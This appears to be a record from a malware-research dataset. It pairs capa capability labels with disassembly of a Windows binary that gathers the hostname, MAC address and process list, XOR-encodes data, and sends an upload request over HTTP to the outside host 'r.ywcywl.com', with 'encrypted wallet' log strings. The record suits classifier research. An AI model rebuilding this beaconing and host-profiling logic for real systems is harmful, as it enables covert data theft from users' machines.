joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000c2cc
Capabilities:
Get hostname

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0xe0]
sub rsp, 0x1e0
and dword [rbp + 0x120], 0
xor eax, eax
mov r12, rcx
mov qword [rsp + 0x51], rax
xorps xmm0, xmm0
mov qword [rsp + 0x59], rax
lea rcx, [rbp - 0x50]
mov qword [rsp + 0x61], rax
movdqu xmmword [rbp - 0x50], xmm0
mov dword [rsp + 0x69], eax
mov r15, rdx
mov word [rsp + 0x6d], ax
mov byte [rsp + 0x6f], al
mov byte [rsp + 0x50], 0
call fcn.140016104
lea rdx, [rbp + 0x120]
mov dword [rbp + 0x120], 0x1f
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea rcx, [rbp - 0x40]
call fcn.14002c768
mov rcx, r12
call fcn.140045e50
mov r8, rax
lea rcx, [rbp - 0x70]
mov rdx, r12
call fcn.14001e210
mov rcx, r15
call fcn.140045e50
mov r8, rax
lea rcx, [rsp + 0x70]
mov rdx, r15
call fcn.14001e210
mov ecx, 0x800
call fcn.140037e70
cmp qword [rbp - 0x58], 0x10
lea rsi, [rbp - 0x70]
lea rbx, [rsp + 0x70]
mov r14, rax
cmovae rsi, qword [rbp - 0x70]
lea rdi, [rbp - 0x40]
cmp qword [rbp - 0x78], 0x10
cmovae rbx, qword [rsp + 0x70]
cmp qword [rbp - 0x28], 0x10
cmovae rdi, qword [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
movsxd r8, dword [0x1400c5208]
lea rcx, str.r.ywcywl.com
mov r9, qword [0x1400c51e8]
lea rdx, str.http:___s_index.php_client_get_data_upload_client_http_url_monitor_info_agent_name_srmac_smac_scname_shttp_url_ours_shttp_url_is_changed_ststs_d
mov dword [rsp + 0x48], eax
add r9, 0x268
mov qword [rsp + 0x40], rsi
lea rax, [rsp + 0x50]
mov r8, qword [rcx + r8*8]
mov rcx, r14
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
call fcn.1400055a4
mov ebx, 0x100
lea rcx, [rbp - 0x20]
mov r8d, ebx
xor edx, edx
call fcn.14003a5c0
and qword [rsp + 0x38], 0
lea rax, [rbp - 0x20]
mov dword [rsp + 0x30], ebx
lea r8, [0x14009e998]
mov qword [rsp + 0x28], rax
mov edx, 0x50
and dword [rsp + 0x20], 0
xor r9d, r9d
mov rcx, r14
call fcn.14001687c
mov ecx, 4
test eax, eax
jne 0x14000c46f
lea rdx, str.ZCCM:_UploadClientGame_TR:_upload_failed__n
call fcn.1400191e0
jmp 0x14000c481
mov r9, r15
lea rdx, str.ZCCM:_UploadClientGame_TR:_upload_done____s__n
mov r8, r12
call fcn.1400191e0
mov ebx, 1
mov rcx, r14
mov edx, ebx
call fcn.140037e68
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x14000c4aa
mov rcx, qword [rsp + 0x70]
inc rdx
mov r8d, ebx
call fcn.140004554
and qword [rbp - 0x80], 0
mov edi, reloc.WSOCK32.dll_ntohs
mov rdx, qword [rbp - 0x58]
mov qword [rbp - 0x78], rdi
mov byte [rsp + 0x70], 0
cmp rdx, 0x10
jb 0x14000c4d6
mov rcx, qword [rbp - 0x70]
inc rdx
mov r8, rbx
call fcn.140004554
and qword [rbp - 0x60], 0
mov rdx, qword [rbp - 0x28]
mov qword [rbp - 0x58], rdi
mov byte [rbp - 0x70], 0
cmp rdx, 0x10
jb 0x14000c4fc
mov rcx, qword [rbp - 0x40]
inc rdx
mov r8, rbx
call fcn.140004554
lea r11, [rsp + 0x1e0]
mov eax, ebx
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
Function at 0x14000d484
Capabilities:
Hash data using djb2

Disassembly:
sub rsp, 0x28
movsx rax, byte [rdx]
mov r10, rdx
mov r11, rcx
mov r8, rdx
mov r9d, 0x1505
jmp 0x14000d4ab
imul r9, r9, 0x21
add r9, rax
inc r8
movsx rax, byte [r8]
test rax, rax
jne 0x14000d49d
mov rcx, qword [rcx + 0x10]
lea r8, [0x14009ee10]
xor edx, edx
mov rax, r9
div qword [r8 + rcx*8]
mov r8, r10
mov rcx, r11
shl rdx, 4
add rdx, qword [r11 + 8]
call fcn.14000d408
test rax, rax
je 0x14000d4e0
mov rax, qword [rax + 0x18]
add rsp, 0x28
ret

Function at 0x14000d64c
Capabilities:
Hash data using djb2

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rax, qword [rcx + 0x10]
lea rdi, [0x14009ee10]
mov r15, r9
mov r12, r8
mov r14, rdx
mov rbx, rcx
mov rax, qword [rdi + rax*8]
cmp qword [rcx], rax
jb 0x14000d69a
call fcn.14000d300
test eax, eax
je 0x14000d69a
or eax, 0xffffffff
jmp 0x14000d79e
movsx rax, byte [r14]
mov rcx, r14
mov ebp, 0x1505
jmp 0x14000d6b6
imul rbp, rbp, 0x21
add rbp, rax
inc rcx
movsx rax, byte [rcx]
test rax, rax
jne 0x14000d6a8
mov rcx, qword [rbx + 0x10]
xor edx, edx
mov rax, rbp
mov r9, rbp
mov r8, r14
div qword [rdi + rcx*8]
mov rcx, rbx
mov rdi, rdx
shl rdi, 4
add rdi, qword [rbx + 8]
mov rdx, rdi
call fcn.14000d408
mov rsi, rax
test rax, rax
je 0x14000d717
mov rcx, qword [rax + 0x18]
test rcx, rcx
je 0x14000d70e
mov rax, qword [rcx + 8]
cmp rax, 0xffffffffffffffff
je 0x14000d70e
sub rax, 1
mov qword [rcx + 8], rax
jne 0x14000d70e
call fcn.140010ca0
mov qword [rsi + 0x18], r15
jmp 0x14000d79c
mov rcx, r14
call fcn.140045e50
lea rcx, [rax + 0x29]
call fcn.14000eb54
mov rsi, rax
test rax, rax
je 0x14000d692
lea rcx, [rax + 0x28]
mov qword [rax], rbp
mov rdx, r14
mov qword [rax + 0x20], r12
call fcn.140060710
mov qword [rsi + 0x18], r15
lea rcx, [rsi + 8]
mov qword [rcx + 8], rcx
lea r8, [rbx + 0x18]
mov qword [rcx], rcx
mov rdx, qword [rdi]
cmp rdx, r8
jne 0x14000d782
cmp rdx, qword [rdi + 8]
jne 0x14000d782
mov qword [rcx + 8], r8
mov rax, qword [r8]
mov qword [rcx], rax
mov rax, qword [r8]
mov qword [rax + 8], rcx
mov qword [r8], rcx
mov qword [rdi + 8], rcx
jmp 0x14000d796
mov qword [rcx + 8], rdx
mov rax, qword [rdx]
mov qword [rcx], rax
mov rax, qword [rdx]
mov qword [rax + 8], rcx
mov qword [rdx], rcx
mov qword [rdi], rcx
inc qword [rbx]
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x140010f00
Capabilities:
Hash data using djb2

Disassembly:
test rcx, rcx
je 0x140010f13
cmp dword [rcx], 0
jne 0x140010f13
add rcx, 0x10
jmp fcn.14000d484
xor eax, eax
ret

Function at 0x140011960
Capabilities:
Create thread
Set current directory

Disassembly:
sub rsp, 0x28
mov rcx, qword [0x1400c5200]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
xor r8d, r8d
lea rcx, [0x14001198c]
xor edx, edx
call fcn.1400604a4
mov eax, 1
add rsp, 0x28
ret
Function at 0x140012a80
Capabilities:
Hash data with md5
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x3c8]
sub rsp, 0x4c0
mov rdi, rcx
mov esi, 0x400
mov r8d, esi
lea rcx, [rbp - 0x40]
xor edx, edx
call fcn.14003a5c0
xor eax, eax
mov byte [rsp + 0x20], 0
xor edx, edx
mov qword [rsp + 0x21], rax
lea rcx, [rbp - 0x70]
mov dword [rsp + 0x29], eax
mov word [rsp + 0x2d], ax
lea r8d, [rax + 0x22]
mov byte [rsp + 0x2f], al
call fcn.14003a5c0
lea rdx, [0x14009f134]
mov rcx, rdi
call fcn.140061240
mov rbx, rax
test rax, rax
jne 0x140012b0d
mov rdx, rdi
lea rcx, str._s_cant_be_openedn
call fcn.140012fec
xor eax, eax
jmp 0x140012be7
and dword [rsp + 0x44], 0
and dword [rsp + 0x40], 0
mov dword [rsp + 0x30], 0x67452301
mov dword [rsp + 0x34], 0xefcdab89
mov dword [rsp + 0x38], 0x98badcfe
mov dword [rsp + 0x3c], 0x10325476
jmp 0x140012b4e
cmp eax, esi
jg 0x140012b4e
mov r8d, eax
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x30]
call fcn.140012724
mov r9, rbx
lea rcx, [rbp - 0x40]
mov r8, rsi
mov edx, 1
call fcn.140069878
test eax, eax
jne 0x140012b39
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x20]
call fcn.140011e00
mov rcx, rbx
call fcn.140060ed4
lea rsi, [rsp + 0x20]
mov r14d, reloc.WSOCK32.dll_recv
lea rdi, [rbp - 0x70]
movzx ebx, byte [rsi]
lea rdx, [0x14009f888]
mov r8d, ebx
mov rcx, rdi
call fcn.1400055a4
shl bl, 4
lea rcx, [rdi + 1]
movzx r8d, bl
lea rdx, [0x14009f888]
call fcn.1400055a4
add rdi, 2
inc rsi
sub r14, 1
jne 0x140012b8c
lea r8, [rbp - 0x70]
lea edx, [r14 + 0x22]
lea rcx, [0x1400c5198]
call fcn.140069a2c
lea rax, [0x1400c5198]
mov byte [0x1400c51b8], r14b
lea r11, [rsp + 0x4c0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret

Function at 0x1400156e4
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, rcx
call fcn.140045e50
mov rdi, rax
shr rdi, 1
lea edx, [rdi + 2]
mov ecx, edx
mov ebx, edx
call fcn.1400607d0
mov r8d, ebx
xor edx, edx
mov rcx, rax
mov rsi, rax
call fcn.14003a5c0
mov rdx, rsi
mov rcx, rbp
call fcn.140016534
movsxd rax, edi
test edi, edi
jle 0x140015743
mov rcx, rsi
xor byte [rcx], 0x69
inc rcx
sub rax, 1
jne 0x140015737
mov rdx, rsi
mov rcx, rbp
call fcn.140060710
test rsi, rsi
je 0x14001575b
mov rcx, rsi
call fcn.1400607c8
mov rbx, qword [rsp + 0x30]
mov eax, 1
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140015778
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
mov dword [rax + 0x10], edx
push rdi
sub rsp, 0x20
mov rbp, rcx
call fcn.140045e50
mov rdi, rax
shr rdi, 1
lea edx, [rdi + 2]
mov ecx, edx
mov ebx, edx
call fcn.1400607d0
mov r8d, ebx
xor edx, edx
mov rcx, rax
mov rsi, rax
call fcn.14003a5c0
mov rdx, rsi
mov rcx, rbp
call fcn.140016534
xor edx, edx
movsxd r8, edi
test edi, edi
jle 0x1400157e6
mov rcx, rsi
mov eax, edx
inc edx
and eax, 3
mov al, byte [rsp + rax + 0x38]
xor byte [rcx], al
inc rcx
sub r8, 1
jne 0x1400157d0
mov rdx, rsi
mov rcx, rbp
call fcn.140060710
test rsi, rsi
je 0x1400157fe
mov rcx, rsi
call fcn.1400607c8
mov rbx, qword [rsp + 0x30]
mov eax, 1
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret

Function at 0x140015818
Capabilities:
Resolve dns

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rdi, rdx
mov byte [rdx], 0
mov rbx, rcx
call fcn.140016da8
test eax, eax
jne 0x140015846
mov rdx, rbx
mov rcx, rdi
call fcn.140060710
mov eax, 1
jmp 0x14001588c
mov rcx, rbx
call qword [sym.imp.WSOCK32.dll_gethostbyname]
test rax, rax
je 0x14001588a
mov rax, qword [rax + 0x18]
mov rdx, qword [rax]
test rdx, rdx
je 0x14001588a
movzx ecx, byte [rdx + 2]
movzx eax, byte [rdx + 3]
movzx r9d, byte [rdx + 1]
movzx r8d, byte [rdx]
lea rdx, [0x14009f950]
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], ecx
mov rcx, rdi
call fcn.1400055a4
jmp 0x14001583f
xor eax, eax
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret

Function at 0x140015a30
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
xor ebx, ebx
mov ebp, ecx
mov r14, r8
mov rsi, rdx
test r9, r9
je 0x140015a62
cmp byte [r9], bl
je 0x140015a62
mov rcx, r9
jmp 0x140015a64
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
movzx edx, bp
mov r8, rsi
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rsi, rax
test rax, rax
je 0x140015aca
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x140015aca
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbp, rax
test rax, rax
je 0x140015aca
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rdx, rbp
mov rcx, r14
mov r8d, eax
call fcn.140021154
test eax, eax
mov ecx, 1
cmovne ebx, ecx
mov rbp, qword [rsp + 0x38]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x140015dc4
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x150
mov rsi, rdx
mov rbp, rcx
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x130
xor edi, edi
call fcn.14003a5c0
movsxd rax, dword [rsi]
xor edx, edx
and dword [rsi], edi
mov rcx, rbp
imul r8, rax, 0x130
call fcn.14003a5c0
xor edx, edx
lea ecx, [rdi + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140015e71
test rax, rax
je 0x140015e7f
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x130
mov rcx, rax
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x140015e71
mov edi, 1
movsxd rax, dword [rsi]
lea rdx, [rsp + 0x20]
imul rcx, rax, 0x130
mov r8d, 0x130
add rcx, rbp
call fcn.14003a170
add dword [rsi], edi
lea rdx, [rsp + 0x20]
mov rcx, rbx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x140015e41
test rbx, rbx
je 0x140015e7f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r11, [rsp + 0x150]
mov eax, edi
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x140016104
Capabilities:
Get mac address on windows

Disassembly:
mov rax, rsp
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x40
mov rsi, rcx
mov byte [rcx], 0
lea rcx, [rax + 8]
mov dword [rax + 0x10], 1
lea rdx, [rax + 0x10]
call sub.IPHLPAPI.DLL_GetAdaptersInfo
cmp eax, 0x6f
jne 0x1400161d1
mov ecx, dword [rsp + 0x58]
call fcn.1400607d0
lea rdx, [rsp + 0x58]
mov rcx, rax
mov rdi, rax
call sub.IPHLPAPI.DLL_GetAdaptersInfo
test eax, eax
jne 0x1400161c9
mov rbx, rdi
test rdi, rdi
je 0x1400161c9
movzx ecx, byte [rbx + 0x19d]
movzx edx, byte [rbx + 0x19b]
movzx eax, byte [rbx + 0x19c]
movzx r10d, byte [rbx + 0x19a]
movzx r9d, byte [rbx + 0x199]
movzx r8d, byte [rbx + 0x198]
mov dword [rsp + 0x38], ecx
mov rcx, rsi
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], edx
lea rdx, str._02X_02X_02X_02X_02X_02X
mov dword [rsp + 0x20], r10d
call fcn.1400055a4
lea rax, [rbx + 0x1c0]
test rax, rax
je 0x1400161ba
cmp byte [rax], 0
jne 0x1400161c2
mov rbx, qword [rbx]
test rbx, rbx
jmp 0x14001615a
mov eax, 1
jmp 0x1400161d3
mov rcx, rdi
call fcn.1400607c8
xor eax, eax
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
ret

Function at 0x1400161e4
Capabilities:
Get system information on windows

Disassembly:
sub rsp, 0x58
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [rsp + 0x40]
mov edx, 1
cmp ecx, edx
cmovl ecx, edx
xor eax, eax
cmp ecx, 6
mov dword [0x1400c51f8], ecx
setg al
add eax, edx
add rsp, 0x58
ret
Function at 0x140016218
Capabilities:
Get file version info

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
mov r14, rdx
xor ebx, ebx
lea rdx, [rbp - 0x39]
mov dword [rbp - 0x39], ebx
mov r15, r9
mov r12, r8
mov r13, rcx
call sub.VERSION.dll_GetFileVersionInfoSizeA
mov esi, eax
test eax, eax
je 0x1400163dc
mov edx, esi
lea ecx, [rbx + 0x40]
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rdi, rax
test rax, rax
je 0x1400163dc
xor edx, edx
mov qword [rbp - 0x29], rbx
lea r8d, [rbx + 0x40]
lea rcx, [rbp - 9]
call fcn.14003a5c0
mov edx, dword [rbp - 0x39]
mov r9, rdi
mov r8d, esi
mov rcx, r13
call sub.VERSION.dll_GetFileVersionInfoA
test eax, eax
je 0x1400163d3
lea r9, [rbp - 0x21]
mov rcx, rdi
lea r8, [rbp - 0x19]
lea rdx, [0x14009db0c]
call sub.VERSION.dll_VerQueryValueA
test eax, eax
je 0x1400163d3
lea r9, [rbp - 0x1d]
mov rcx, rdi
lea r8, [rbp - 0x29]
lea rdx, str.VarFileInfoTranslation
call sub.VERSION.dll_VerQueryValueA
test eax, eax
je 0x1400163d3
lea rsi, str.StringFileInfo_04x_04x_s
test r14, r14
je 0x140016334
mov rax, qword [rbp - 0x29]
lea rcx, [rbp - 9]
mov rdx, rsi
movzx r9d, word [rax + 2]
movzx r8d, word [rax]
lea rax, [0x1400a0830]
mov qword [rsp + 0x20], rax
call fcn.1400055a4
xor r9d, r9d
lea r8, [rbp - 0x31]
lea rdx, [rbp - 9]
mov rcx, rdi
call sub.VERSION.dll_VerQueryValueA
test eax, eax
je 0x140016334
mov rdx, qword [rbp - 0x31]
mov rcx, r14
call fcn.140060710
test r12, r12
je 0x140016381
mov rax, qword [rbp - 0x29]
lea rcx, [rbp - 9]
mov rdx, rsi
movzx r9d, word [rax + 2]
movzx r8d, word [rax]
lea rax, [0x1400a0860]
mov qword [rsp + 0x20], rax
call fcn.1400055a4
xor r9d, r9d
lea r8, [rbp - 0x31]
lea rdx, [rbp - 9]
mov rcx, rdi
call sub.VERSION.dll_VerQueryValueA
test eax, eax
je 0x140016381
mov rdx, qword [rbp - 0x31]
mov rcx, r12
call fcn.140060710
test r15, r15
je 0x1400163ce
mov rax, qword [rbp - 0x29]
lea rcx, [rbp - 9]
mov rdx, rsi
movzx r9d, word [rax + 2]
movzx r8d, word [rax]
lea rax, [0x1400a0870]
mov qword [rsp + 0x20], rax
call fcn.1400055a4
xor r9d, r9d
lea r8, [rbp - 0x31]
lea rdx, [rbp - 9]
mov rcx, rdi
call sub.VERSION.dll_VerQueryValueA
test eax, eax
je 0x1400163ce
mov rdx, qword [rbp - 0x31]
mov rcx, r15
call fcn.140060710
mov ebx, 1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GlobalFree]
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x1400164c8
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0xb0]
sub rsp, 0x1b0
mov r14, rcx
xor edx, edx
lea rcx, [rbp - 0x50]
mov r8d, 0x100
call fcn.14003a5c0
xor edx, edx
lea rcx, [rsp + 0x30]
mov r8d, 0x80
call fcn.14003a5c0
xorps xmm0, xmm0
lea rdx, str.__en
mov rcx, r14
movdqu xmmword [rsp + 0x20], xmm0
call fcn.14003a760
xor edi, edi
mov rbx, rax
test rax, rax
jne 0x140015904
xor eax, eax
jmp 0x140015a18
add rbx, 5
jmp 0x14001590d
inc rbx
cmp byte [rbx], 0x20
je 0x14001590a
cmp byte [rbx], dil
je 0x1400158fd
lea rdx, [0x14009e768]
mov rcx, rbx
call fcn.14003a760
mov rsi, rax
test rax, rax
je 0x1400158fd
mov r8, rax
lea rcx, [rsp + 0x30]
sub r8, rbx
mov rdx, rbx
call fcn.140045fa0
lea rbx, [rsi + 1]
jmp 0x14001594a
inc rbx
cmp byte [rbx], 0x20
je 0x140015947
cmp byte [rbx], dil
je 0x1400158fd
lea rdx, [0x14009e768]
mov rcx, rbx
call fcn.14003a760
test rax, rax
jne 0x140015973
mov rcx, r14
call fcn.140045e50
add rax, r14
sub rax, rbx
lea rcx, [rsp + 0x20]
mov r8, rax
mov rdx, rbx
call fcn.140045fa0
lea rcx, [rsp + 0x20]
call fcn.140048068
lea rcx, [rsp + 0x30]
mov dword [rbp + 0xd8], eax
call fcn.140045e50
test rax, rax
je 0x1400159d0
mov rbx, rdi
lea rsi, [rsp + 0x30]
and ebx, 3
lea rcx, [rsp + 0x30]
inc edi
mov al, byte [rbp + rbx + 0xd8]
xor byte [rsi], al
inc rsi
movsxd rbx, edi
call fcn.140045e50
cmp rbx, rax
jb 0x1400159ad
lea rcx, [rsp + 0x30]
call fcn.140045e50
mov rdx, rax
lea r8, [rbp - 0x50]
lea rcx, [rsp + 0x30]
call fcn.140014ef8
lea rcx, [rbp - 0x50]
call fcn.140012fec
lea r8, [rbp - 0x50]
mov dword [0x1400c51f0], 1
lea rdx, str.ZCCM:_encrypted_wallet____s__n
mov ecx, 4
call fcn.1400191e0
mov eax, 1
lea r11, [rsp + 0x1b0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
push rbx
sub rsp, 0x20
lea rdx, str._service
mov rbx, rcx
call fcn.14003a760
test rax, rax
je 0x140016501
lea rdx, [0x14001717c]
mov byte [0x1400c5225], 1
lea rcx, [0x140018610]
call fcn.140011828
movzx eax, al
jmp 0x14001652c
lea rdx, [0x1400a052c]
mov rcx, rbx
call fcn.14003a760
test rax, rax
je 0x140016522
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp 0x140015898
call fcn.140016e78
mov eax, 1
add rsp, 0x20
pop rbx
ret
Function at 0x140016648
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], r8
push rsi
push rdi
push r13
push r14
push r15
sub rsp, 0x40
mov r14, qword [rsp + 0xa0]
xor ebx, ebx
mov r15, r9
movzx edi, dx
mov rbp, rcx
test r14, r14
je 0x14001668d
movsxd r8, dword [rsp + 0xa8]
xor edx, edx
mov rcx, r14
call fcn.14003a5c0
mov rsi, qword [rsp + 0xb0]
test rsi, rsi
je 0x14001669c
mov dword [rsi], ebx
xor r9d, r9d
mov dword [rsp + 0x20], ebx
xor r8d, r8d
lea rcx, str.User_Agent
lea edx, [r9 + 1]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r13, rax
test rax, rax
je 0x140016861
mov qword [rsp + 0x38], rbx
lea rax, str.HTTP_1.1
mov dword [rsp + 0x30], ebx
xor r9d, r9d
mov dword [rsp + 0x28], 3
movzx r8d, di
mov rdx, rbp
mov qword [rsp + 0x20], rax
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetConnectA]
mov qword [rsp + 0xb0], rax
mov rdi, rax
test rax, rax
je 0x140016858
mov r8, qword [rsp + 0x80]
lea r9, str.HTTP_1.1
mov qword [rsp + 0x38], rbx
mov rdx, r15
mov dword [rsp + 0x30], 0x80000000
mov rcx, rax
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov rbp, rax
test rax, rax
je 0x14001684f
lea rcx, str.Connection:_close
call fcn.140045e50
mov r8, rax
lea rdx, str.Connection:_close
mov r9d, 0xa0000000
mov rcx, rbp
call qword [sym.imp.WININET.dll_HttpAddRequestHeadersA]
lea rdx, str.post
mov rcx, r15
call fcn.14007f078
test eax, eax
jne 0x1400167aa
lea rcx, str.Content_Type:_application_x_www_form_urlencoded
call fcn.140045e50
mov r8, rax
lea rdx, str.Content_Type:_application_x_www_form_urlencoded
mov r9d, 0xa0000000
mov rcx, rbp
call qword [sym.imp.WININET.dll_HttpAddRequestHeadersA]
test eax, eax
je 0x140016846
mov eax, dword [rsp + 0x98]
xor r8d, r8d
mov r9, qword [rsp + 0x90]
xor edx, edx
mov rcx, rbp
mov dword [rsp + 0x20], eax
call qword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x140016846
test r14, r14
je 0x140016841
movsxd r15, dword [rsp + 0xa8]
mov edi, ebx
cmp r15, 4
jbe 0x140016832
mov rcx, rbx
mov r8d, dword [rsp + 0xa8]
lea rdx, [rcx + r14]
sub r8d, edi
mov dword [rsp + 0xa0], ebx
sub r8d, 4
lea r9, [rsp + 0xa0]
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140016832
cmp dword [rsp + 0xa0], ebx
je 0x140016832
add edi, dword [rsp + 0xa0]
movsxd rcx, edi
lea rax, [rcx + 4]
cmp rax, r15
jb 0x1400167e7
test rsi, rsi
je 0x140016839
mov dword [rsi], edi
mov rdi, qword [rsp + 0xb0]
mov ebx, 1
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rbp, qword [rsp + 0x78]
mov eax, ebx
mov rbx, qword [rsp + 0x70]
add rsp, 0x40
pop r15
pop r14
pop r13
pop rdi
pop rsi
ret